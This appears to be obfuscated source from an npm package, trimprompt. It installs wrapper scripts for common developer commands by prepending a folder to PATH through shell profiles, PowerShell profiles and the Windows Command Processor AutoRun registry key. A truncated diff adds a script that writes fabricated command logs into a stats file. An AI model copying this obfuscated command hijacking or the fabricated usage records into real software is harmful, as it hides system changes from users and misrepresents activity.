__createBinding=this&&this[a0_0x5f12c6(0x1ca)]||(Object[a0_0x5f12c6(0x1b6)]?function(_0x3479a5,_0x161932,_0x58770a,_0x16c107){const _0x395c71=a0_0x5f12c6;if(_0x16c107===undefined)_0x16c107=_0x58770a;var _0x1f8f2b=Object[_0x395c71(0x192)](_0x161932,_0x58770a);(!_0x1f8f2b||(_0x395c71(0x168)in _0x1f8f2b?!_0x161932['__esModule']:_0x1f8f2b[_0x395c71(0x1cb)]||_0x1f8f2b['configurable']))&&(_0x1f8f2b={'enumerable':!![],'get':function(){return _0x161932[_0x58770a];}}),Object[_0x395c71(0x1c1)](_0x3479a5,_0x16c107,_0x1f8f2b);}:function(_0x13cb5d,_0x163db7,_0x1a9b9e,_0x5487cf){if(_0x5487cf===undefined)_0x5487cf=_0x1a9b9e;_0x13cb5d[_0x5487cf]=_0x163db7[_0x1a9b9e];}),__setModuleDefault=this&&this[a0_0x5f12c6(0x1aa)]||(Object[a0_0x5f12c6(0x1b6)]?function(_0x1a8ddb,_0x2b9d80){const _0x57ec0a=a0_0x5f12c6;Object[_0x57ec0a(0x1c1)](_0x1a8ddb,_0x57ec0a(0x18a),{'enumerable':!![],'value':_0x2b9d80});}:function(_0x9d3799,_0x462946){const _0x22f39f=a0_0x5f12c6;_0x9d3799[_0x22f39f(0x18a)]=_0x462946;}),__importStar=this&&this[a0_0x5f12c6(0x17d)]||(function(){var _0x173837=function(_0x38e665){return _0x173837=Object['getOwnPropertyNames']||function(_0x152943){const _0x34b271=a0_0x2009;var _0x1b78b1=[];for(var _0x305706 in _0x152943)if(Object[_0x34b271(0x1a6)][_0x34b271(0x170)][_0x34b271(0x18f)](_0x152943,_0x305706))_0x1b78b1[_0x1b78b1[_0x34b271(0x1a4)]]=_0x305706;return _0x1b78b1;},_0x173837(_0x38e665);};return function(_0x279856){const _0x500dd5=a0_0x2009;if(_0x279856&&_0x279856[_0x500dd5(0x172)])return _0x279856;var _0x2dc27b={};if(_0x279856!=null){for(var _0x3eadf7=_0x173837(_0x279856),_0x4a1307=0x0;_0x4a1307<_0x3eadf7[_0x500dd5(0x1a4)];_0x4a1307++)if(_0x3eadf7[_0x4a1307]!==_0x500dd5(0x18a))__createBinding(_0x2dc27b,_0x279856,_0x3eadf7[_0x4a1307]);}return __setModuleDefault(_0x2dc27b,_0x279856),_0x2dc27b;};}());Object[a0_0x5f12c6(0x1c1)](exports,a0_0x5f12c6(0x172),{'value':!![]}),exports['installShims']=installShims,exports[a0_0x5f12c6(0x1b0)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x5f12c6(0x18e),a0_0x5f12c6(0x1c7),a0_0x5f12c6(0x16e),a0_0x5f12c6(0x18c),'rg',a0_0x5f12c6(0x1c2),a0_0x5f12c6(0x1ad),'gh',a0_0x5f12c6(0x161),a0_0x5f12c6(0x1c4),a0_0x5f12c6(0x184),a0_0x5f12c6(0x191),a0_0x5f12c6(0x1a2),'yarn',a0_0x5f12c6(0x1bb),a0_0x5f12c6(0x15f),a0_0x5f12c6(0x186),a0_0x5f12c6(0x1ae),'pip3','go'],PROFILE_MARKER=a0_0x5f12c6(0x16b);function getExecSync(){const _0x405775=a0_0x5f12c6;return require(_0x405775(0x197))[_0x405775(0x169)];}function getExecFileSync(){const _0x28a8a6=a0_0x5f12c6;return require(_0x28a8a6(0x197))[_0x28a8a6(0x1a0)];}function ensureProfileContains(_0x2ff7ea,_0x33c1e6,_0x127ef6){const _0x43522b=a0_0x5f12c6;try{const _0x1b5ea5=path[_0x43522b(0x17e)](_0x2ff7ea);!fs[_0x43522b(0x17f)](_0x1b5ea5)&&fs[_0x43522b(0x1ba)](_0x1b5ea5,{'recursive':!![]});if(fs[_0x43522b(0x17f)](_0x2ff7ea)){const _0x2450f9=fs[_0x43522b(0x166)](_0x2ff7ea,_0x43522b(0x199));if(_0x2450f9[_0x43522b(0x1a5)](_0x33c1e6))return;fs['appendFileSync'](_0x2ff7ea,_0x127ef6,_0x43522b(0x199));}else fs[_0x43522b(0x16f)](_0x2ff7ea,_0x127ef6,'utf8');}catch{}}function removeProfileBlock(_0x4ce0d4,_0xcb5b23){const _0x543ca9=a0_0x5f12c6;try{if(!fs[_0x543ca9(0x17f)](_0x4ce0d4))return;const _0x2444b=fs[_0x543ca9(0x166)](_0x4ce0d4,'utf8');if(!_0x2444b[_0x543ca9(0x1a5)](_0xcb5b23))return;const _0xa7e710=_0x2444b[_0x543ca9(0x1c8)]('\x0a'),_0x1460d4=[];let _0x7a2116=![];for(let _0x56a17a=0x0;_0x56a17a<_0xa7e710[_0x543ca9(0x1a4)];_0x56a17a++){if(_0xa7e710[_0x56a17a][_0x543ca9(0x1a5)](_0xcb5b23)){_0x7a2116=!![];continue;}if(_0x7a2116){_0x7a2116=![];continue;}_0x1460d4[_0x543ca9(0x16d)](_0xa7e710[_0x56a17a]);}const _0x24b164=_0x1460d4[_0x543ca9(0x1a9)]('\x0a')[_0x543ca9(0x183)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x4ce0d4,_0x24b164,_0x543ca9(0x199));}catch{}}function collectPowerShellProfiles(){const _0x1e46c9=a0_0x5f12c6,_0x2a1a75=getExecSync(),_0x3101bf=[],_0x55fca6=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell','$PROFILE.CurrentUserAllHosts']];try{_0x2a1a75('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1e46c9(0x1b4)}),_0x55fca6['push']([_0x1e46c9(0x173),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x335fc6,_0x24b3b3]of _0x55fca6){try{const _0x48e063=_0x2a1a75(_0x335fc6+_0x1e46c9(0x15b)+_0x24b3b3+'\x22',{'encoding':_0x1e46c9(0x199)})[_0x1e46c9(0x1c5)]();_0x48e063&&!_0x3101bf['some'](_0xa43036=>_0xa43036['toLowerCase']()===_0x48e063['toLowerCase']())&&_0x3101bf['push'](_0x48e063);}catch{}}return _0x3101bf;}function a0_0x2009(_0x13f305,_0x34b8e4){_0x13f305=_0x13f305-0x159;const _0x45ea0e=a0_0x45ea();let _0x200929=_0x45ea0e[_0x13f305];return _0x200929;}function getBashProfilesWindows(){const _0x356bc2=a0_0x5f12c6,_0x297588=os['homedir']();return[_0x356bc2(0x193),'.bash_profile'][_0x356bc2(0x180)](_0x3affa6=>path[_0x356bc2(0x1a9)](_0x297588,_0x3affa6));}function getBroadcastCommand(){const _0x13f09e=a0_0x5f12c6;return _0x13f09e(0x182);}function installShims(){const _0x1d6695=a0_0x5f12c6,_0xd76142=path[_0x1d6695(0x1a9)](os['homedir'](),_0x1d6695(0x1b7),_0x1d6695(0x1bd));try{!fs[_0x1d6695(0x17f)](_0xd76142)&&fs[_0x1d6695(0x1ba)](_0xd76142,{'recursive':!![]});const _0x28df8c=os[_0x1d6695(0x162)]()===_0x1d6695(0x1a3);for(const _0x310d21 of SHIMMED_COMMANDS){if(_0x28df8c){const _0x2bcefb=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21+_0x1d6695(0x165));fs['writeFileSync'](_0x2bcefb,_0x1d6695(0x1b2)+_0x310d21+_0x1d6695(0x176),_0x1d6695(0x199));const _0x10d42a=path['join'](_0xd76142,_0x310d21+_0x1d6695(0x16c));fs[_0x1d6695(0x16f)](_0x10d42a,_0x1d6695(0x185)+_0x310d21+_0x1d6695(0x18d),_0x1d6695(0x199));const _0x3d0a27=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21);fs[_0x1d6695(0x16f)](_0x3d0a27,'#!/bin/sh\x0aexec\x20trim\x20'+_0x310d21+_0x1d6695(0x1c0),'utf8');}else{const _0x32a1ea=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21);fs[_0x1d6695(0x16f)](_0x32a1ea,_0x1d6695(0x1b1)+_0x310d21+_0x1d6695(0x1c0),_0x1d6695(0x199)),fs[_0x1d6695(0x194)](_0x32a1ea,_0x1d6695(0x1a7));}}let _0x153b4b=![],_0x57640f='';if(_0x28df8c)try{const _0x42348f=getExecSync(),_0xcb9994='\x0a#\x20'+PROFILE_MARKER+_0x1d6695(0x1a1)+_0xd76142+_0x1d6695(0x177),_0xb8ab93=collectPowerShellProfiles();for(const _0x14f78d of _0xb8ab93){ensureProfileContains(_0x14f78d,_0xd76142,_0xcb9994);}try{const _0x304307=getExecFileSync(),_0xe04389=_0x1d6695(0x1b9)+_0xd76142+_0x1d6695(0x171)+_0xd76142+';%PATH%\x22',_0x151be7='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x2e32b4='';try{const _0x36b4e3=_0x1d6695(0x1af)+_0x151be7+_0x1d6695(0x189);_0x2e32b4=_0x304307(_0x1d6695(0x15e),[_0x1d6695(0x174),_0x1d6695(0x187),_0x36b4e3],{'encoding':_0x1d6695(0x199),'stdio':[_0x1d6695(0x188),_0x1d6695(0x188),_0x1d6695(0x1b4)]})[_0x1d6695(0x1c5)]();}catch{}if(!_0x2e32b4[_0x1d6695(0x1a5)](_0xd76142)){const _0x161660=_0x2e32b4?_0x2e32b4+_0x1d6695(0x19b)+_0xe04389:_0xe04389,_0x5b983e=_0x1d6695(0x19c)+_0x151be7+_0x1d6695(0x179)+_0x151be7+_0x1d6695(0x15c)+_0x161660+'\x27';_0x304307(_0x1d6695(0x15e),['-NoProfile',_0x1d6695(0x187),_0x5b983e],{'stdio':'ignore'});}}catch{}try{const _0x1d4835=_0xd76142[_0x1d6695(0x183)](/\\/g,'/')[_0x1d6695(0x183)](/^([A-Za-z]):/,(_0x574334,_0xa00f5e)=>'/'+_0xa00f5e[_0x1d6695(0x15a)]()),_0x25ed22=_0x1d6695(0x181)+PROFILE_MARKER+_0x1d6695(0x195)+_0x1d4835+_0x1d6695(0x1cc),_0xde6f06=getBashProfilesWindows();let _0x9446e9=![];for(const _0x192be3 of _0xde6f06){fs[_0x1d6695(0x17f)](_0x192be3)&&(ensureProfileContains(_0x192be3,_0x1d4835,_0x25ed22),_0x9446e9=!![]);}!_0x9446e9&&ensureProfileContains(_0xde6f06[0x0],_0x1d4835,_0x25ed22);}catch{}const _0x156e31='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x42ce26=_0x42348f(_0x1d6695(0x175)+_0x156e31+'\x22',{'encoding':_0x1d6695(0x199),'stdio':[_0x1d6695(0x188),_0x1d6695(0x188),_0x1d6695(0x1b4)]})[_0x1d6695(0x1c5)]();if(!_0x42ce26[_0x1d6695(0x1a5)](_0xd76142)){const _0x347485=_0xd76142+';'+_0x42ce26,_0x1ec544=_0x347485['replace'](/'/g,'\x27\x27'),_0x3dedf6='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x1ec544+_0x1d6695(0x1ab);_0x42348f(_0x1d6695(0x175)+_0x3dedf6+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x1d6695(0x1b4)});}const _0x190a0c=path[_0x1d6695(0x1a9)](process.env.APPDATA||'','npm','trim.ps1');if(fs['existsSync'](_0x190a0c))try{fs[_0x1d6695(0x167)](_0x190a0c);}catch{}_0x153b4b=!![];}catch(_0x3784bf){_0x57640f='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0xd76142;}else try{const _0x44a014=_0x1d6695(0x17c)+_0xd76142+_0x1d6695(0x1cc),_0x346325=os[_0x1d6695(0x1bc)](),_0x456765=[_0x1d6695(0x193),'.zshrc',_0x1d6695(0x17a),_0x1d6695(0x19f)];let _0x5111cf=![];for(const _0x3706ac of _0x456765){const _0x3f7697=path['join'](_0x346325,_0x3706ac);fs[_0x1d6695(0x17f)](_0x3f7697)&&(ensureProfileContains(_0x3f7697,_0xd76142,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x44a014),_0x5111cf=!![]);}if(!_0x5111cf){const _0x50c779=path[_0x1d6695(0x1a9)](_0x346325,'.bashrc');ensureProfileContains(_0x50c779,_0xd76142,_0x1d6695(0x181)+PROFILE_MARKER+'\x0a'+_0x44a014);}_0x153b4b=!![];}catch(_0xc7555d){_0x57640f='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0xd76142+_0x1d6695(0x163);}const _0x5c0d2b=_0x1d6695(0x1c9)+SHIMMED_COMMANDS[_0x1d6695(0x1a4)]+_0x1d6695(0x160),_0x3f4740=_0x153b4b?_0x5c0d2b+_0x1d6695(0x19e):_0x5c0d2b+_0x1d6695(0x1b5)+_0x57640f;return{'success':!![],'pathDir':_0xd76142,'message':_0x3f4740};}catch(_0x385d28){return{'success':![],'pathDir':_0xd76142,'message':_0x1d6695(0x16a)+_0x385d28[_0x1d6695(0x1be)]};}}function uninstallShims(){const _0x2d30a2=a0_0x5f12c6,_0x5edb48=path[_0x2d30a2(0x1a9)](os[_0x2d30a2(0x1bc)](),_0x2d30a2(0x1b7),_0x2d30a2(0x1bd)),_0x375a76=os[_0x2d30a2(0x162)]()==='win32';try{if(_0x375a76){const _0x425fd9=getExecSync();try{const _0x1e92c1=getExecFileSync(),_0x1115b2=_0x2d30a2(0x19a),_0x5acf08='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1115b2+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x5e6737=_0x1e92c1('powershell.exe',[_0x2d30a2(0x174),'-Command',_0x5acf08],{'encoding':_0x2d30a2(0x199),'stdio':[_0x2d30a2(0x188),'pipe',_0x2d30a2(0x1b4)]})[_0x2d30a2(0x1c5)]();if(_0x5e6737[_0x2d30a2(0x1a5)](_0x5edb48)){const _0x17a156=_0x5e6737['split'](_0x2d30a2(0x19b))['filter'](_0x13c23a=>!_0x13c23a[_0x2d30a2(0x1a5)](_0x5edb48));if(_0x17a156['length']===0x0){const _0x390081=_0x2d30a2(0x1a8)+_0x1115b2+_0x2d30a2(0x15d);_0x1e92c1('powershell.exe',[_0x2d30a2(0x174),_0x2d30a2(0x187),_0x390081],{'stdio':_0x2d30a2(0x1b4)});}else{const _0x11cca7=_0x17a156['join'](_0x2d30a2(0x19b)),_0x371f3b=_0x2d30a2(0x164)+_0x1115b2+_0x2d30a2(0x15c)+_0x11cca7+'\x27';_0x1e92c1(_0x2d30a2(0x15e),[_0x2d30a2(0x174),_0x2d30a2(0x187),_0x371f3b],{'stdio':_0x2d30a2(0x1b4)});}}}catch{}try{const _0x276e92=collectPowerShellProfiles();for(const _0xcd08c of _0x276e92){removeProfileBlock(_0xcd08c,PROFILE_MARKER);}}catch{}try{for(const _0x27ed8c of getBashProfilesWindows()){removeProfileBlock(_0x27ed8c,PROFILE_MARKER);}}catch{}try{const _0x1cd97b=_0x2d30a2(0x1c3),_0xd71375=_0x425fd9('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1cd97b+'\x22',{'encoding':'utf8','stdio':[_0x2d30a2(0x188),_0x2d30a2(0x188),_0x2d30a2(0x1b4)]})[_0x2d30a2(0x1c5)]();if(_0xd71375[_0x2d30a2(0x1a5)](_0x5edb48)){const _0x230f13=_0xd71375[_0x2d30a2(0x1c8)](';')[_0x2d30a2(0x1ac)](_0x441925=>_0x441925['trim']()[_0x2d30a2(0x15a)]()!==_0x5edb48['toLowerCase']())[_0x2d30a2(0x1a9)](';'),_0x3bc643=_0x230f13['replace'](/'/g,'\x27\x27'),_0x2494e7=_0x2d30a2(0x1bf)+_0x3bc643+_0x2d30a2(0x1ab);_0x425fd9(_0x2d30a2(0x175)+_0x2494e7+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x2d30a2(0x1b4)});}}catch{}}else{const _0x6cb10c=os[_0x2d30a2(0x1bc)](),_0x4bad9e=[_0x2d30a2(0x193),_0x2d30a2(0x178),_0x2d30a2(0x17a),_0x2d30a2(0x19f)];for(const _0x5d98c3 of _0x4bad9e){removeProfileBlock(path[_0x2d30a2(0x1a9)](_0x6cb10c,_0x5d98c3),PROFILE_MARKER);}}if(fs[_0x2d30a2(0x17f)](_0x5edb48)){const _0x417009=fs['readdirSync'](_0x5edb48);for(const _0x348e5b of _0x417009){fs[_0x2d30a2(0x167)](path[_0x2d30a2(0x1a9)](_0x5edb48,_0x348e5b));}fs['rmdirSync'](_0x5edb48);}return{'success':!![],'message':_0x2d30a2(0x17b)};}catch(_0x218265){return{'success':![],'message':_0x2d30a2(0x159)+_0x218265[_0x2d30a2(0x1be)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x36ae57=a0_0x515d;(function(_0x5bf8fb,_0x3c808b){const _0x441506=a0_0x515d,_0x2d8cbd=_0x5bf8fb();while(!![]){try{const _0x18f1a3=-parseInt(_0x441506(0x125))/0x1+-parseInt(_0x441506(0x11b))/0x2+-parseInt(_0x441506(0x12b))/0x3*(-parseInt(_0x441506(0x102))/0x4)+-parseInt(_0x441506(0x10e))/0x5+-parseInt(_0x441506(0x109))/0x6*(parseInt(_0x441506(0x10f))/0x7)+parseInt(_0x441506(0xf0))/0x8+parseInt(_0x441506(0x100))/0x9;if(_0x18f1a3===_0x3c808b)break;else _0x2d8cbd['push'](_0x2d8cbd['shift']());}catch(_0x83e8d7){_0x2d8cbd['push'](_0x2d8cbd['shift']());}}}(a0_0x450f,0x1a056));Object[a0_0x36ae57(0x12e)](exports,a0_0x36ae57(0xf4),{'value':!![]});const tracker_1=require('./tracker');console['log'](a0_0x36ae57(0x117));function a0_0x515d(_0x3f072f,_0x5a02d7){_0x3f072f=_0x3f072f-0xef;const _0x450f6a=a0_0x450f();let _0x515d51=_0x450f6a[_0x3f072f];return _0x515d51;}const models=[a0_0x36ae57(0x123),'gpt-4o',a0_0x36ae57(0x113),'gemini-1-5-pro',a0_0x36ae57(0x124),'claude-3-opus'],commands=[{'cmd':a0_0x36ae57(0xf3),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x36ae57(0x12a)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x36ae57(0x110)+a0_0x36ae57(0x101)[a0_0x36ae57(0x12a)](0x28)+a0_0x36ae57(0x11f),'comp':a0_0x36ae57(0x116),'exitCode':0x0},{'cmd':a0_0x36ae57(0x118),'raw':a0_0x36ae57(0xf2)+a0_0x36ae57(0xff)+a0_0x36ae57(0xfd),'comp':a0_0x36ae57(0x111),'exitCode':0x0},{'cmd':a0_0x36ae57(0xf9),'raw':a0_0x36ae57(0x10c)+a0_0x36ae57(0x129)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x36ae57(0xf6),'comp':a0_0x36ae57(0x127),'exitCode':0x0},{'cmd':a0_0x36ae57(0x120),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x36ae57(0x10a)+a0_0x36ae57(0x108)+a0_0x36ae57(0xfe)+a0_0x36ae57(0xfa),'comp':a0_0x36ae57(0x114),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':a0_0x36ae57(0x11d)+a0_0x36ae57(0x11a)+a0_0x36ae57(0x112),'comp':a0_0x36ae57(0xf7),'exitCode':0x0},{'cmd':a0_0x36ae57(0xf5),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x36ae57(0x105),'comp':a0_0x36ae57(0x122),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x36ae57(0x121)+a0_0x36ae57(0xf8)+a0_0x36ae57(0x106),'comp':a0_0x36ae57(0x107),'exitCode':0x0}],startTime=Date[a0_0x36ae57(0x104)]()-0x36ee80;function a0_0x450f(){const _0x1d51f0=['Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','comp','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','kubectl\x20get\x20pods\x20-n\x20production','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','claude-3-5-sonnet','gemini-1-5-flash','145232dAkXqO','stats.json','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','raw','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','repeat','24693hShZyF','tracker','writeFileSync','defineProperty','length','951240rIqjOI','random','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','git\x20diff\x20main','__esModule','git\x20log\x20-n\x205','Completed\x203\x20of\x203\x20assets\x20successfully.','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','.trimprompt','floor','found\x200\x20vulnerabilities\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','4042233vDfmrj','test\x20tests::test_case_','20HaHDRF','toISOString','now','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','6IUMiUq','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','stringify','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','logExecution','291880dikCId','919576yoWogR','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','gpt-4o-mini','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','path','cargo\x20test:\x2045\x20passed,\x200\x20failed.','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','npm\x20install\x20lodash\x20express\x20uuid\x20react','exitCode','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','335278niVpsJ','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.'];a0_0x450f=function(){return _0x1d51f0;};return a0_0x450f();}for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x36ae57(0xfc)](Math[a0_0x36ae57(0xf1)]()*commands[a0_0x36ae57(0xef)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x36ae57(0x103)](),log=tracker_1[a0_0x36ae57(0x12c)][a0_0x36ae57(0x10d)](commandItem['cmd'],commandItem[a0_0x36ae57(0x128)],commandItem[a0_0x36ae57(0x11e)],commandItem[a0_0x36ae57(0x119)]),logs=tracker_1['tracker']['getLogs']();logs[a0_0x36ae57(0xef)]>0x0&&(logs[logs[a0_0x36ae57(0xef)]-0x1]['timestamp']=timestamp,require('fs')[a0_0x36ae57(0x12d)](require(a0_0x36ae57(0x115))['join'](require('os')['homedir'](),a0_0x36ae57(0xfb),a0_0x36ae57(0x126)),JSON[a0_0x36ae57(0x10b)](logs,null,0x2),'utf8'));}console['log'](a0_0x36ae57(0x11c));
1
+ 'use strict';const a0_0x625320=a0_0x401d;(function(_0x1df433,_0x18694c){const _0x511079=a0_0x401d,_0x9593dc=_0x1df433();while(!![]){try{const _0x5427cc=-parseInt(_0x511079(0x204))/0x1*(-parseInt(_0x511079(0x1fd))/0x2)+parseInt(_0x511079(0x1c6))/0x3+parseInt(_0x511079(0x1e9))/0x4*(-parseInt(_0x511079(0x1ff))/0x5)+parseInt(_0x511079(0x1df))/0x6+-parseInt(_0x511079(0x1f7))/0x7+-parseInt(_0x511079(0x1de))/0x8*(-parseInt(_0x511079(0x1eb))/0x9)+-parseInt(_0x511079(0x1d8))/0xa*(parseInt(_0x511079(0x1f6))/0xb);if(_0x5427cc===_0x18694c)break;else _0x9593dc['push'](_0x9593dc['shift']());}catch(_0x1f13ac){_0x9593dc['push'](_0x9593dc['shift']());}}}(a0_0x592a,0xb1257));Object[a0_0x625320(0x1f4)](exports,a0_0x625320(0x1fa),{'value':!![]});function a0_0x592a(){const _0x400f2b=['7287258jHIOlq','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','join','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','Completed\x203\x20of\x203\x20assets\x20successfully.','claude-3-opus','timestamp','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','3394852TcEaBU','pip\x20install\x20tensorflow\x20pandas\x20numpy','1523439UBcIhO','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','tracker','npm\x20install\x20lodash\x20express\x20uuid\x20react','homedir','found\x200\x20vulnerabilities\x0a','claude-3-5-sonnet','log','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','defineProperty','gemini-1-5-flash','22tnGkiY','6099478RwDKuH','npm\x20run\x20lint','.trimprompt','__esModule','cargo\x20test:\x2045\x20passed,\x200\x20failed.','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','722422FrPwsc','cargo\x20test','5hneKkE','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','now','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','git\x20log\x20-n\x205','1HdUySV','test\x20tests::test_case_','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','kubectl\x20get\x20pods\x20-n\x20production','writeFileSync','stringify','266643UHZmkK','random','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','gpt-4o','length','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@t